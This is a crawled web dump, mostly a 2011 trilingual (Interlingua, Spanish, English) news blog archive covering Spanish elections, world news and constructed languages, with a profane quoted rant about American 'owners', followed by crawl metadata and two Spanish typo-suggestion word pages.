qualificava como \"Un grande victoria electoral\".\n\"Si on confirma iste datos, on parlarea de un nove epocha politic in Espania\", diceva Mato in un conferentia de pressa.\nIn iste electiones regional, le Leve Unite ha 5,88 pro cento del votos, le Nationalistas Moderate Catalan de Convergentia e Union ha un 4,26 pro cento, e le Coalition Independentista Basc Bildu ha un 2,36 pro cento.\nLe electiones habeva loco in le presentia del pression de milles de manifestantes \"ultragiate\", concentrate desde ante un septimana in le principal placias del pais pro exiger un regeneration politic.\nBen que multes timeva que ille protestas se reflecterea in un plus grande abstention inter le votantes que le traditional, le Ministerio del Interior ha indicate que le taxa de participation esseva 63,31 pro cento, un pauco plus grande que illo registrate in le electiones de 2007.\nIste electiones local se observa como un proba pro le electiones general, que habera loco in martio del proxime anno. Illos es le primes a nivello national que se celebra post le grave crise que affice Espania desde 2008 e pare reflecter un falta de confidentia in le governamento de José Luis Rodríguez Zapatero.\n---\nEl conservador Partido Popular ha hecho las mayores ganancias en las elecciones locales españolas.\nCon el 72% de los votos escrutados, el conservador Partido Popular se perfila como el ganador de las elecciones municipales y regionales celebradas este domingo en España con el 37,07% de los votos.\nEl gobernante Partido Socialista Obrero Español marcha atrás con el 27,82%.\nEn su primera valoración de los resultados la vicesecretaria del Partido Popular, Ana Mato, lo calificó de \"una gran victoria electoral\".\n\"De confirmarse estos datos se estaría hablando de una nueva etapa política en España\", dijo Mato en una rueda de prensa.\nEn estas elecciones regionales, la Izquierda Unida tiene un 5,88 por ciento de los votos, los Nacionalistas Moderados Catalanes de Convergencia i Unió tienen un 4,26 por ciento y la Coalición Independentista Vasca Bildu tiene un 2,36 por ciento.\nLas elecciones se realizaron en la presencia de la presión de miles de manifestantes \"indignados\", concentrados desde hace una semana en las principales plazas del país para exigir una regeneración política.\nAunque muchos temían que esas protestas se reflejaran en una mayor abstención entre los votantes que la tradicional, el Ministerio del Interior ha indicado que la participación fue del 63,31 por ciento, ligeramente mayor a la registrada en las elecciones del 2007.\nEstos comicios locales se observan como un ensayo para las generales, previstas para marzo del próximo año. Son los primeros a nivel nacional que se celebran tras la grave crisis que afecta a España desde 2008 y parecen reflejar una falta de confianza en el gobierno de José Luís Rodríguez Zapatero.\n---\nThe conservative Popular Party has made the biggest gains in the local Spanish elections.\nWith 72% of the vote counted, the conservative Popular Party has emerged as the winner of the municipal and regional elections held this Sunday in Spain with 37.07% of the vote.\nThe ruling Spanish Socialist Workers Party lost out with 27.82% of the vote.\nIn an initial assessment of the results, the Deputy Secretary of the Popular Party, Ana Mato, called it \"a great electoral victory.\"\n\"If these results are confirmed, we are talking about a new political era in Spain,\" said Mato in a press conference.\nIn these regional elections, the United Left has 5.88 percent of the vote, the moderate Nationalist Catalan Convergence and Union Party has 4.26 percent, and the Bildu Basque Separatist Coalition has 2.36 percent.\nThe elections were held in an enviroment of pressure from thousands of \"outraged\" demonstrators, who had gathered together for a week in the main public squares in the country to demand a political regeneration.\nAlthough some feared that the protests would be reflected in a higher than usual abstention rate among voters, the Ministry of Interior has indicated that the turnout was 63.31 percent, slightly higher than in the 2007 election.\nThese local elections are seen as a dress rehearsal for the general elections scheduled for March next year. They are the first ones at a national level held after the serious crises that have affected Spain since 2008 and seem to reflect a lack of confidence in José Luis Rodríguez Zapatero's government.\nPosted by hkyson at 8:57 AM\n(Languages of this post: Interlingua, Spanish, English)\nLe ex-presidente de Sudafrica Nelson Mandela ha retornate desde su residentia in Johanesburgo a Qunu, in le provincia del Cabo Oriental, ubi ille passava le prime annos de su vita.\nMandela, de 92 annos, viagiava desde le aeroporto in un convoy de dece e duo vehiculos, accompaniate per un equipa medic complete post que emergeva timores sur su sanitate al comenciamento de iste anno, quando ille esseva transportate al hospital a causa de un infection respiratori acute.\nLe presidente sudafrican, Jacob Zuma, diceva que ille se trovava satisfacite que Mandela se trovava sufficientemente ben pro viagiar.\n---\nMandela regresa al lugar donde pasó su infancia.\nEl ex presidente de Sudáfrica Nelson Mandela ha vuelto desde su residencia in Johannesburgo a Qunu, en la provincia del Cabo Oriental, donde pasó los primeros años de su vida.\nMandela, de 92 años, viajó desde el aeropuerto en un convoy de doce vehículos, acompañado por un equipo médico completo después de que se suscitaran temores sobre su salud a principios de este año, cuando fue llevado al hospital por una infección respiratoria aguda.\nEl presidente sudafricano, Jacob Zuma, dijo que estaba satisfecho de que Mandela estuviera lo suficientemente bien como para viajar.\n---\nMandela returns to the place where he lived as a child.\nFormer South African President Nelson Mandela has returned from Johannesburg to Qunu, a small town in the Eastern Cape where he grew up.\nMandela, 92 years old, traveled from the airport in a convoy of twelve vehicles, accompanied by a full medical team after fears were raised about his health earlier this year when he was taken to hospital for an acute respiratory infection.\nSouth African President Jacob Zuma said he was happy that Mandela was well enough to travel.\nPosted by hkyson at 1:36 AM\nSunday, May 22, 2011\n(Languages of this post: Interlingua, Spanish, English)\nPlus que 20.000 personas in Suissa prendeva parte in le manifestation anti-nuclear le plus grande in le pais in decadas.\nLe marcha habeva loco presso le Kernkraftwerk Beznau, un del usinas nuclear le plus vetule de Suissa e de Europa.\nLe activistas exige le clausura de cinque reactores nuclear de Suissa, dicente que omnes es vetule e non se conforma con le requirimentos de securitate moderne.\nLe governamento suisse suspendeva omne le planos pro construer nove usinas nuclear post le crise in le usina de Fukushima, in Japon. Le mercuridi illo facera un annuncio sur le futuro del energia nuclear in le pais.\n---\nEnorme manifestación anti nuclear en Suiza\nMás de 20.000 personas en Suiza tomaron parte en la manifestación anti nuclear más grande en el país en décadas.\nLa marcha se realizó cerca del Kernkraftwerk Beznau, una de las plantas nucleares más antiguas de Suiza y de Europa.\nLos activistas exigen el cierre de cinco reactores nucleares de Suiza, diciendo que todos son viejos y no cumplen con los requisitos de seguridad modernos.\nEl gobierno suizo suspendió todos los planes para construir nuevas centrales nucleares después de la crisis en la planta de Fukushima, en Japón. El miércoles se hará un anuncio sobre el futuro de la energía nuclear en el país.\n---\nHuge anti-nuclear demonstration in Switzerland\nMore than 20,000 people in Switzerland took part in the largest anti-nuclear demonstration in the country in decades.\nThe march took place near the Beznau Kernkraftwerk, one of the oldest nuclear plants in Switzerland and Europe.\nThe activists are demanding the closure of five Swiss nuclear reactors, saying that all of them are old and do not meet modern safety requirements.\nThe Swiss government suspended all plans to build new nuclear plants after the crisis at the plant in Fukushima, Japan. On Wednesday it will make an announcement on the future of nuclear energy in the country.\nPosted by hkyson at 6:58 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe participation de votantes in le electiones municipal e regional que habeva loco iste domenica in Espania augmentava un 1,7% sur illos de 2007, secundo le Commission Electoral.\nOn timeva que il haberea un basse participation a causa del effecto del mobilisationes massive de discontentos durante le ultime septimana.\nLe manifestantes, qui exprimeva un rejection al classe politic actual e exige un \"profundisation\" del democratia, ha dicite que illes mantenera su campamento in le placia Puerta del Sol de Madrid pro un altere septimana.\nOn spera que iste electiones debilitara le governante Partito Socialiste de José Luis Rodríguez Zapatero, que on considera responsabile pro le profunde crise economic e le profunde nivello de disempleo, le plus grande de lo que on cognosce como le zona euro.\n---\nEl número de votantes en las elecciones españolas fue mayor de lo esperado.\nLa participación de votantes en las elecciones municipales y regionales que se realizan este domingo en España aumentó un 1,7% respecto a las de 2007, según la Comisión Electoral.\nSe temía que hubiera baja participación por el efecto de las movilizaciones masivas de descontento durante la última semana.\nLos manifestantes, que expresan un rechazo a la clase política actual y exigen una \"profundización\" de la democracia, han dicho que mantendrán su campamento en la plaza Puerta del Sol de Madrid por una semana más.\nSe espera que estas elecciones debiliten al gobernante Partido Socialista de José Luís Rodríguez Zapatero, a quien se responsabiliza por la profunda crisis económica y el alto desempleo, el mayor de la llamada zona euro.\n---\nThe number of voters in the Spanish elections was higher than expected.\nVoter turnout in municipal and regional elections taking place this Sunday in Spain increased by 1.7% compared to 2007, according to the Electoral Commission.\nIt was feared there would be a low turnout because of the effect of last week's massive demonstrations of discontent\nThe protesters, who expressed a rejection of the current political class and demand a \"deepening\" of democracy, have said they will maintain their camp in Madrid's Puerta del Sol plaza for another week.\nIt is hoped that these elections will weaken the ruling Socialist Party of Jose Luis Rodriguez Zapatero, who is considered responsible for the deep economic crisis and high unemployment, the largest of the so-called euro zone.\nPosted by hkyson at 1:41 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe presidente del Statos Unite, Barack Obama, assecurava que ille mandarea un operation simile a illo que terminava in le morte de Osama bin Laden si un altere leader militante esseva trovate in Pakistan.\nBen que le Statos Unite es consciente del soveranitate de Pakistan, diceva Obama, su pais non poterea permitter le culmination de planos active contra le interesses vital del Statos Unite sin prender alicun action.\nLe morte de bin Laden a manos de fortias statounitese in un citate Pakistani le 2 de maio ha causate un certe tension in le relationes inter le duo alliatos.\nObama anque diceva que ille recognosceva que serie conversationes con le talibanes poterea esser necesse finalmente pro terminar le violentia in Afghanistan.\n---\nObama dijo que los Estados Unidos podría ordenar otros ataques como el que mató a bin Laden.\nEl presidente de los Estados Unidos, Barack Obama, aseguró que ordenaría una operación semejante a la que terminó en la muerte de Osama bin Laden si otro líder militante fuera encontrado en Pakistán.\nAunque los Estados Unidos es conciente de la soberanía de Pakistán, dijo Obama, su país no podía permitir la culminación de planes activos contra los intereses vitales de los Estados Unidos sin tomar alguna acción.\nLa muerte de bin Laden a manos de fuerzas estadounidenses en una ciudad paquistaní el 2 de mayo ha causado una cierta tension en las relaciones entre los dos aliados.\nObama también dijo que reconoció que serias conversaciones con los talibanes podrían ser necesarias en última instancia para poner fin a la violencia en Afganistán.\n---\nObama said the United States could order other attacks like the one that killed bin Ladin.\nThe U.S. president, Barack Obama, said he would order an operation similar to that which ended in the death of Osama Bin Laden if another militant leader was found in Pakistan.\nAlthough the United States is aware of the sovereignty of Pakistan, Obama said, his country could not allow the finalization of plans against the interests of the United States without taking any action.\nBin Laden's death at the hands of U.S. forces in a Pakistani town on May 2 has caused a certain tension in the relationship between the two allies.\nObama also said he recognized that serious talks with the Taliban could finally be needed to ultimately stop the violence in Afghanistan.\nPosted by hkyson at 3:34 AM\nSaturday, May 21, 2011\nThere is a reason education [in the United States] sucks, and it is the same reason that it will never be fixed. It's never gonna get any better. Don't look for it. Be happy with what you got--because the owners of this country don't want that.\nI'm talking about the real owners now--the big wealthy business interests that control things and make all the important decisions.\nForget the politicians. The politicians are put there to give you the idea that you have freedom of choice. You don't! They OWN you.\nThey own and control the corporations. They've long since bought and paid for the senate, the congress, the state houses, the city halls. They got the judges in their back pockets. So they control just about all the news and information you get to hear.\nThey've got you by the balls. They spend billions of dollars every year lobbying--lobbying to get what they want. They want more for themselves and less for everyone else.\nBut I'll tell you what they don't want. They don't want a population of citizens capable of critical thinking. They don't want well-informed, well-educated people capable of critical thinking. They are not interested in that. That doesn't help them. That's against their interests.\nThat's right. They don't want people who are smart enough to sit around the kitchen table and figure out how badly they are getting fucked by the system that threw them overboard thirty fucking years ago. They don't want that.\nYou know what they want? They want obedient workers. Obedient workers. People who are just smart enough to run the machines and do the paper work and just dumb enough to passively accept all these increasingly shittier jobs with the lower pay, the longer hours, the reduced benefits, the end of overtime, and the vanishing pension that disappears the minute you go to collect it.\nAnd now they're coming for your Social Security money. They want your fucking retirement money. They want it back so they can give it to their criminal friends on Wall Street.\nAnd you know something? They'll get it! They'll get it all from you sooner or later because they OWN this fucking place. It's a big club, and you ain't in it. You and I are not in the big club.\nAnd by the way, it's the same big club they use to beat you over the head with all day long when they tell you what to believe, what to think, and what to buy.\nThe table is tilted, folks.The game is rigged. And nobody seems to notice. Good, honest, hard-working people... white collar, blue collar… it doesn't matter what color shirt you have on… good, honest, hard-working people… (these are people of modest means) continue to elect these rich cocksuckers who don't give a fuck about them.\nThey don't give a fuck about you. They don't care about you at all, at all, AT ALL!\nAnd nobody seems to notice. Nobody seems to care. That's what the owners count on: the fact Americans will probably remain willfully ignorant of the big red, white, and blue dick that's being jammed up their assholes every day… because the owners of this country know the truth. It's called the American Dream… because you have to be asleep to believe it!\nPosted by hkyson at 11:25 PM\n(Languages of this post: Interlingua, Spanish, English)\nEspania se trova a puncto de comenciar le votation in su electiones regional durante que milles de manifestantes juvene remane campate in le placias de omne le pais.\nLe manifestantes se trova in cholera a causa del politicas economic del governamento e le alte taxa de disempleo inter le juvenes.\nLe numero de personas in le placias continua su crescimento in despecto de un prohibition de protestas politic ante le electiones.\nOn crede que le governamento socialiste va a suffrer perditas importante in le votation pro consilios e governamentos regional.\nProtestas simile sta a replicar se in multe altere citates como Barcelona, Valencia, Sevilla, e Bilbao.\n---\nLas próximas elecciones en España se llevarán a cabo en medio de protestas en muchas partes del país.\nEspaña está a punto de comenzar la votación en sus elecciones regionales, mientras miles de jóvenes manifestantes permanecen acampados en las plazas de todo el país.\nLos manifestantes están molestos por las políticas económicas del gobierno y la alta tasa de desempleo de los jóvenes.\nEl número de personas en las plazas sigue creciendo a pesar de una prohibición de protestas políticas antes de las elecciones.\nSe cree que el gobierno socialista sufra pérdidas importantes en la votación por ayuntamientos y gobiernos regionales.\nProtestas semejantes se están replicando en muchas otras ciudades como Barcelona, Valencia, Sevilla y Bilbao.\n---\nThe next elections in Spain will take place in the middle of protests in many parts of the country.\nSpain is about to begin voting in its regional elections, while thousands of young demonstrators remain camped in the streets across the country.\nThe protesters are angry about the government's economic policies and the high rate of youth unemployment.\nThe number of people in the streets continues to grow despite a ban on political protests before the election.\nIt is believed that the Socialist government will suffer major losses in voting for local councils and regional governments.\nSimilar protests are being replicated in many other cities such as Barcelona, Valencia, Seville and Bilbao.\nPosted by hkyson at 9:47 PM\n(Languages of this post: Interlingua, Spanish, English)\nMilles de manifestantes remane in placias in omne le partes de Espania protestante le nivello de disempleo e le mensuras governamental de austeritate.\nLe participantes sta a defiar le prohibition contra manifestantiones ante electiones local que habera loco le domenica proxime.\nLe protestas comenciava ante un septimana in le Placia del Sol, le placia principal de Madrid, como un movimento spontanee de juvenes frustrate con le systema politic actual.\nLe protestas ha ganiate momento, e il es pauco probabile que on los reprimera a causa de lor impacto politic de hacer esto.\nOn estima le disemplo juvenile in le pais a plus que 45%.\n---\nContinúan las protestas en España.\nMiles de manifestantes permanecen en plazas en todas partes de España protestando ante el alto nivel de desempleo y las medidas gubernamentales de austeridad.\nLos participantes están desafiando la prohibición de manifestarse antes de las elecciones locales que se llevarán a cabo el domingo.\nLas protestas comenzaron hace una semana en la plaza del Sol, la principal de Madrid, como un movimiento espontáneo de jóvenes frustrados con el sistema político actual.\nLas protestas han cobrado impulso, y es poco probable que las repriman debido al impacto politico de hacer esto.\nEl desempleo juvenil en el país se estima alrededor de 45%.\n---\nProtests Continue in Spain.\nThousands of protesters remain in places throughout Spain to protest against high unemployment and the Government's austerity measures.\nParticipants are challenging the ban against demonstrations before the local elections that will take place on Sunday.\nThe protests began a week ago in the Plaza del Sol, the principal one in Madrid, as a spontaneous movement of young people frustrated with the current political system.\nThe protests have gained momentum and are unlikely to be suppressed because of the political impact of doing this.\nYouth unemployment in the country is estimated at around 45%.\nPosted by hkyson at 6:50 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe vulcano Grimsvotnm, le plus active de Islandia, ha comenciate a entrar in eruption un nove vice.\nSecundo le autoridates islandese, on spera que le eruption essera moderate e non va a alterar le traffico aeree, como succedeva le anno pasate con le volcano Eyjafjallajokull.\nLe nube de cineres emittite per le eruption de ille volcano islandese in le medio de 2010 causava le suspension le plus grande de traffic aeree in Europa desde le Secunde Guerra Mundial. Dece milliones de passageros esseva afficite, e le perditas economic ascendeva a US$2.000 milliones.\n---\nHa empezado a entrar en erupción. el volcán más activo de Islandia.\nEl volcán Grimsvotnm, el más activo de Islandia, ha comenzado a entrar en erupción una vez más.\nSegún las autoridades islandesas, se espera que la erupción sea moderada y probablemente no va a alterar el tráfico aéreo, como sucedió el año pasado con el volcán Eyjafjallajokull.\nLa nube de ceniza desprendida por la erupción de ese volcán islandés a mediados de 2010 causó la mayor suspension de tráfico aéreo en Europa desde la Segunda Guerra Mundial. Diez millones de pasajeros resultaron afectados y las pérdidas económicas ascendieron a US$2.000 millones.\n---\nThe most active volcano in Iceland has started to erupt once again.\nGrimsvotnm, Iceland's most active volcano, has once again started to erupt.\nAccording to Icelandic authorities, the eruption is expected to be moderate and probably will not interfere with air traffic, as happened last year with the volcano Eyjafjallajokull.\nThe ash cloud released by the eruption of the Icelandic volcano in mid-2010 caused the longest suspension of air traffic in Europe since World War II. Ten million passengers were affected and economic losses amounted to $2 billion.\nPosted by hkyson at 3:25 PM\nThursday, May 19, 2011\n(Languages of this post: Interlingua, Spanish, English)\nAnglaterra e Galles ha habite un enorme augmento in lor populationes non blanc, secundo statisticas official.\nLe datos indica un augmento de 2,5 milliones de personas in le ultime decada,impulsate per le immigration e le taxa de natalitate inter le gruppos ethnic minoritari, specialmente de origine asian.\nNonobsstante, le numero de britannicos blanc se ha mantenite equal. Mesmo si le taxa de natalitate inter le blancos ha augmentate, anque le numero de emigrantes ha augamentate, e le population blanc se ha mantenite stabile.\nUn de cata sex personas qui vive in Anglaterra e Galles non es blanc, secundo le Bureau de Statisticas National. Le numeros ha augmentate a plus que le 4% annual desde 2001.\nLe datos non include le statisticas de Scotia o Irlanda del Nord, que ha lor proprie organisationes pro le elaboration de statisticas.\n---\nCrece enormemente el número de británicos no blancos.\nInglaterra y Gales han tenido un enorme aumento en su población no blanca, de acuerdo a cifras oficiales.\nLos datos indican un incremento de 2,5 millones de personas en la última década, impulsado por la inmigración y la tasa de natalidad entre los grupos étnicos minoritarios, en especial los de origen chino.\nSin embargo, el número de británicos blancos se ha mantenido igual. A pesar de que la tasa de natalidad entre los blancos ha aumentado, también ha aumentado el número de emigrantes, y la población blanca se ha mantenido estable.\nUna de cada seis personas que viven en Inglaterra y Gales no son blancos, de acuerdo con la Oficina de Estadísticas Nacionales. Las cifras han aumentado en más del 4% anual desde 2001.\nLos datos no incluyen las cifras de Escocia o Irlanda del Norte, que tienen sus propios órganos para la elaboración de estadísticas.\n---\nThe number of non-white British is growing enormously.\nEngland and Wales have had a huge increase in their non-white population, according to official statistics.\nThe data indicate an increase of 2.5 million people in the past decade, fueled by immigration and birth rates among ethnic minority groups, especially those of Asian origin.\nNevertheless, the number of white Britons has remained the same. Even though the birth rate among whites has gone up, the number of emigrants has also increased, and the white population has remained stable.\nOne in six people living in England and Wales are not white, according to the Office for National Statistics. The figures have increased by more than 4% annually since 2001.\nThe data do not include figures for Scotland or Northern Ireland, which have their own organizations for gathering statistics.\nPosted by hkyson at 8:55 AM\nWednesday, May 18, 2011\n(Languages of this post: Interlingua, Spanish, English)\nLe economia japonese entrava a in recession post cader un 0.9% inter januario e martio, le secunde reduction recente, secundo le autoritates japonese.\nLe crise economic se attribue al expensas causate per le seismo e le tsunami del martio passate e le posterior crise nuclear.\nLe disastro provocava un reduction significante del capital pro investimentos e le consumption private, que include 60% del economia del pais.\nLe expertos crede que le situation poterea impejorar inter april e junio. Nonobstante illes previde un melioramento durante le secunde medietate del anno.\n---\nEl terremoto y el tsunami han provocado una recesión en Japón.\nLa economía japonesa entró en recesión tras caer un 0,9% entre enero y marzo, la segunda reducción reciente, según las autoridades japonesas.\nLa crisis económica se atribuye a los gastos ocasionados por el terremoto y el tsunami del pasado mes de marzo y la posterior crisis nuclear.\nEl desastre provocó una reducción significativa del capital inversor y el consumo privado, que supone el 60% de la economía del país.\nLos expertos creen que la situación podría empeorar entre abril y junio. Sin embargo prevén una mejora durante la segunda mitad del año.\n---\nThe earthquake and tsunami have provoked a recession in Japan.\nThe Japanese economy went into recession after falling 0.9% between January and March, the second recent reduction, according to Japanese authorities.\nThe economic crisis is attributed to expenses incurred by the earthquake and tsunami of last March and the subsequent nuclear crisis.\nThe disaster caused a significant reduction in capital investment and private consumption, which accounts for 60% of the country's economy.\nExperts believe that the situation could worsen between April and June. Nevertheless they foresee an improvement in the second half of the year.\nPosted by hkyson at 9:58 PM\n(Languages of this post: Interlingua, Esperanto II, Esperanto, English)\nEcce un exemplo de interlingua e Esperanto II con traductiones al esperanto traditional e al anglese. Vermente, omne le linguas planificate que se produceva in Europa post le publication initial de esperanto es multo simile, e si on apprende un de illos vermente ben, il es multo facile apprender a leger omne iste linguas. Le processo es simile de facer transitiones inter le linguas scandinave continental o inter le espaniol, le portugese, e le italiano:\n---\nVisitante per hasardo le secunde Congresso Mundial de Esperanto in Geneva (in 1906), io deveniva un esperantista e participava illac in le establimento del Association Scientific International de Esperantistas, del qual on me eligeva secretario.\nPro plus que cinque annos, io anque esseva le redactor principal del Revista International de Scientia, le publication official de ille association, que tunc habeva plus que 800 membros.\nIn 1907 il habeva le Tertie Congresso Mundial de Esperanto in Cambridge, que io anque assisteva e ubi mi projecto de adjuta financial international esseva accipite per le congresso.\nPost ille congresso appareva le projecto de reforma ido, elaborate per le Marquis de Beaufront e le professor Couturat. Io immediatemente recognosceva que ille projecto non conformava de ulle maniera al spirito de Esperanto, cuje flexibilitate remarcabile esseva destruite per ido per un systema de derivation logic que esseva troppo rigide pro uso quotidian del lingua parlate e scribite, e desde ille die io comenciava a refuter le pretensiones de ido in le Revista International de Scientia.\nDurante mi travalio pro le reforma de Esperanto, io examinava non solmente le projecto pro ido ma anque le linguas planificate del schola \"naturaliste\" (occidental, latino sine flexione, etc.). Tal projectos linguistic es interessante, ma lor autores oblidava que le parte le plus difficile del problema interlinguistic non es le comprehension facile per occidentals ma le facilitate de comprehension pro omne le populos del Terra.\nE lo que es plus difficile non es crear un lingua planificate ma facer lo viver, e solmente Esperanto ha succedite in illo; abandonar le base de Esperanto e le travalio ingente que le esperantistas jam habeva facite esserea un follia e que le esperantistas nunquam accipera un lingua completemente nove.\n---\nVizitinte perhazarde la 2-a Universala Kongresu de Esperanto be Genevo (te 1906), mi farevis Esperantisto ey partoprenis tie la fondu de la Int(ernacia) Scienca Asocio Esperantista, kaes mi estis elektata sekretaro.\nDum pli longe ki qin yaron mi anke estis chef-redaktoro de la Int(ernacia) Scienca Revuo, la oficiala organo de ta Asocio, kay tiam havis pliente ki 800 membrun.\nEn 1907 okazis la 3-a Universala Kongreso de Esperanto be Cambridge, kaw mi anke beestis ey kie mia projekto de internacia helpmono estis akceptata di la Kongreso.\nPos ta Kongreso aperis la riformprojekto Ido, verkita di Markezo de Beaufront ey Prof. Couturat. Mi tuy konsciis, ke ta projekto estas tute ne konforma al la spirito de Esperanto, kaes rimarkinda flexeblu Ido detruis per logika derivsistemo tro rigida por la chataga uzado de la lingvo skribe ey parole, ey dey ta tago mi komencis rifuti la pretendun de Ido en la Int(ernacia) Scienca Revuo.\nDum mia laboro por la riformo de Esperanto mi examenis ne nur la projektu Ido, sed anke la interlingvun el la skolo \"naturista\" (Occidental, Latino sine flexione, etp.). Tala lingvoprojekton estas interesa, sed lina awtoron forgesis, ke la ple malfacila parto de la interlingva problemo ne estas la facila kompreno por la Okcidentanon, sed la facila parolado por cha popolon de la terglobo.\nEy lo ankore pli malfacila ne estas krei interlingvu, sed ju vivigi, ey tu sukcesis nur Esperanto; forlasi la bazu Esperanta ey la grandega laboru yam farita di la Esperantiston estus vera frenezajo, tiente pli ke la Esperantiston niam akceptos lingvu tute nova.\n---\nVizitinte perhazarde la 2-an Universalan Kongreson de Esperanto ĉe Genevo (je 1906), mi fariĝis Esperantisto kaj partoprenis tie la fondon de la Int(ernacia) Scienca Asocio Esperantista, de kiu mi estis elektata sekretaro.\nDum pli longe ol kvin jaroj mi ankaŭ estis ĉef-redaktoro de la Int(ernacia) Scienca Revuo, la oficiala organo de tiu Asocio, kiu tiam havis pli ol 800 membrojn.\nEn 1907 okazis la 3-a Universala Kongreso de Esperanto ĉe Cambridge, kiun mi ankaŭ ĉeestis kaj kie mia projekto de internacia helpmono estis akceptata de la Kongreso.\nPost tiu Kongreso aperis la riformprojekto Ido, verkita de Markezo de Beaufront kaj Prof. Couturat. Mi tuj konsciis, ke tiu projekto estas tute ne konforma al la spirito de Esperanto, kies rimarkindan flexeblon Ido detruis per logika derivsistemo tro rigida por la ĉiutaga uzado de la lingvo skribe kaj parole, kaj ekde tiu tago mi komencis rifuti la pretendojn de Ido en la Int(ernacia) Scienca Revuo.\nDum mia laboro por la riformo de Esperanto mi ekzamenis ne nur la projekton Ido, sed ankaŭ la interlingvojn el la skolo \"naturista\" (Occidental, Latino sine flexione, ktp.). Tia lingvoprojektoj estas interesaj, sed ilia aŭtoroj forgesis, ke la plej malfacila parto de la interlingva problemo ne estas la facila kompreno por la Okcidentanoj, sed la facila parolado por ĉiuj popoloj de la terglobo.\nKaj [lo?] ankoraŭ pli malfacila ne estas krei interlingvon, sed ĝin vivigi, kaj tion sukcesis nur Esperanto; forlasi la bazon Esperantan kaj la grandegan laboron jam faritan de la Esperantistoj estus vera frenezaĵo, [tiente?] pli ke la Esperantistoj neniam akceptos lingvon tute novan.\n---\nVisiting by chance the 2nd World Congress of Esperanto in Geneva (in 1906), I became an Esperantist and took part there in the founding of the International Scientific Esperantist Association, of which I was elected secretary.\nFor more than five years I was also chief editor of the International Science Journal, the official organ of that association, which then had more than 800 members.\nIn 1907 there was the 3rd World Congress of Esperanto in Cambridge, which I also attended and where my project of international financial aid was accepted by the congress.\nAfter that congress there appeared the reform project Ido, worked out by Marquis [sic] de Beaufront and Prof. Couturat. I immediately realized that that project did not conform at all with the spirit of Esperanto, whose remarkable flexibility Ido destroyed through a logical derivational system that was too rigid for everyday use of the language as spoken and written, and from that day I began to refute the claims of Ido in the International Science Journal.\nDuring my work for the reform of Esperanto I examined not only the Ido project, but also the interlanguages of the \"naturalist\" school (Occidental, Latino sine flexione, etc.). Such language projects are interesting, but their authors forgot that the most difficult part of the interlanguage problem is not easy comprehension by Westerners, but ease of speech for all the peoples of the Earth.\nAnd what is more difficult is not to create an interlanguage, but to make it live, and only Esperanto has succeeded in that; to leave the base of Esperanto and the huge work already done by Esperantists would be true craziness. Also, Esperantists will never accept a completely new language.\nPosted by hkyson at 7:08 PM","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2011_05_01_archive.html","date":"2013-05-23T00:06:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702525329\/warc\/CC-MAIN-20130516110845-00073-ip-10-60-113-184.ec2.internal.warc.gz","language":"ina","language_score":0.3676697314,"language_script":"Latn","minhash_cluster_size":48,"top_langs":"{\"ina_Latn_score\": 0.3676697313785553, \"spa_Latn_score\": 0.2527945041656494, \"eng_Latn_score\": 0.12412364780902863, \"cbk_Latn_score\": 0.10967106372117996}","num_words":20037,"character_repetition_ratio":0.041,"word_repetition_ratio":0.042,"special_characters_ratio":0.197,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.388,"perplexity_score":2506.5,"cluster_detection":-1} +{"text":"Zlmatroque\n'Zlmatroque' se parece a 'almatroque', ¿Con zlmatroque querías decir almatroque?\nZlmatroque tiene 10 letras\nDefinición de almatroque aquí\nResultados de búsqueda:\n|Google:||zlmatroque|\n|Yahoo:||zlmatroque|\n|MSN:||zlmatroque|\n|Wikipedia:||zlmatroque|\nResultados de imágenes:\n|Google:||zlmatroque|\n|Yahoo:||zlmatroque|\n|MSN:||zlmatroque|\nYoutube: zlmatroque\nNube de palabras :\n- almatroque zlmatroque slmatroque wlmatroque qlmatroque akmatroque apmatroque aomatroque alnatroque alkatroque aljatroque almztroque almstroque almwtroque almqtroque almarroque almafroque almagroque almayroque alma6roque alma5roque almateoque almatdoque almatfoque almattoque almat5oque almat4oque almatrique almatrkque almatrlque almatrpque almatr0que almatr9que almatro1ue almatro2ue almatrowue almatroaue almatroqye almatroqhe almatroqje almatroqie almatroq8e almatroq7e almatroquw almatroqus almatroqud almatroqur almatroqu4 almatroqu3","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.tuspalabras.com\/zlmatroque","date":"2016-12-11T14:01:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698544679.86\/warc\/CC-MAIN-20161202170904-00032-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.326007545,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.32600754499435425, \"kal_Latn_score\": 0.17920328676700592, \"frp_Latn_score\": 0.09128744155168533, \"spa_Latn_score\": 0.06287431716918945, \"ast_Latn_score\": 0.046646974980831146, \"enl_Latn_score\": 0.02158081904053688, \"arg_Latn_score\": 0.01994052156805992, \"chd_Latn_score\": 0.01726960390806198, \"glg_Latn_score\": 0.016691774129867554, \"crh_Latn_score\": 0.01624862290918827, \"cot_Latn_score\": 0.014872563071548939, \"toj_Latn_score\": 0.014480615966022015, \"gug_Latn_score\": 0.011224820278584957, \"szl_Latn_score\": 0.010181324556469917}","num_words":303,"character_repetition_ratio":0.152,"word_repetition_ratio":0.082,"special_characters_ratio":0.16,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.318,"perplexity_score":14780.1,"cluster_detection":-1} +{"text":"Albuminoixe\n'Albuminoixe' se parece a 'albuminoide', ¿Con albuminoixe querías decir albuminoide?\nAlbuminoixe tiene 11 letras\nDefinición de albuminoide aquí\nResultados de búsqueda:\n|Google:||albuminoixe|\n|Yahoo:||albuminoixe|\n|MSN:||albuminoixe|\n|Wikipedia:||albuminoixe|\nResultados de imágenes:\n|Google:||albuminoixe|\n|Yahoo:||albuminoixe|\n|MSN:||albuminoixe|\nYoutube: albuminoixe\nNube de palabras :\n- albuminoide zlbuminoide slbuminoide wlbuminoide qlbuminoide akbuminoide apbuminoide aobuminoide alvuminoide alnuminoide alhuminoide alguminoide albyminoide albhminoide albjminoide albiminoide alb8minoide alb7minoide albuninoide albukinoide albujinoide albumunoide albumjnoide albumknoide albumonoide album9noide album8noide albumiboide 